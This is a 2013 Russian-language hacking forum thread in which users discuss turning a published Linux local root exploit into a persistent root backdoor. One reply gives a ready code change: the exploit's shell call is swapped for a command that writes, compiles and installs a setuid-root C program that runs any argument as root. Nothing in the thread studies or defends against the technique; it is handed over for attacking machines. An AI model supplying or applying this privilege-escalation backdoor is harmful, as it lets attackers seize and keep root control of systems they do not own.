Старый 18.07.2013, 15:38   #11
Kamnupre
 
Аватар для Kamnupre
 
Регистрация: 09.06.2013
Сообщений: 13
Репутация: -1
По умолчанию

Бэкконнект не сделать, есть эксплоит, кто-то может переделать эксплоит в суидник через который можно выполнять команды от рута?
Kamnupre вне форума   Ответить с цитированием
Старый 18.07.2013, 17:14   #12
chupakabra
 
Аватар для chupakabra
 
Регистрация: 09.12.2011
Сообщений: 47
Репутация: 5
По умолчанию

кто-то может, а какой эксплойт-то?
chupakabra вне форума   Ответить с цитированием
Старый 19.07.2013, 07:44   #13
Kamnupre
 
Аватар для Kamnupre
 
Регистрация: 09.06.2013
Сообщений: 13
Репутация: -1
По умолчанию

Цитата:
Сообщение от chupakabra Посмотреть сообщение
кто-то может, а какой эксплойт-то?
https://bugzilla.redhat.com/show_bug.cgi?id=962792
Kamnupre вне форума   Ответить с цитированием
Старый 19.07.2013, 09:05   #14
romashka_sky
 
Регистрация: 01.10.2011
Сообщений: 33
Репутация: 8
По умолчанию

Цитата:
Сообщение от Kamnupre Посмотреть сообщение
https://bugzilla.redhat.com/show_bug.cgi?id=962792
https://rdot.org/forum/showthread.php?t=2720
выбираете нужную вам архитектуру,
меняете
Код:
return execl("/bin/bash", "-sh", NULL);
на
Код:
return execl("/bin/bash", "bash", "-c", "echo '#include <stdio.h>\nint main(int argc, char *argv[])\n{setuid(0);setgid(0);system(argv[1]);return 0;}' > s.c; gcc s.c -o s;chown 0:0 s; chmod +s s; rm s.c;", NULL);
если удачно, то суидник ./s
romashka_sky вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot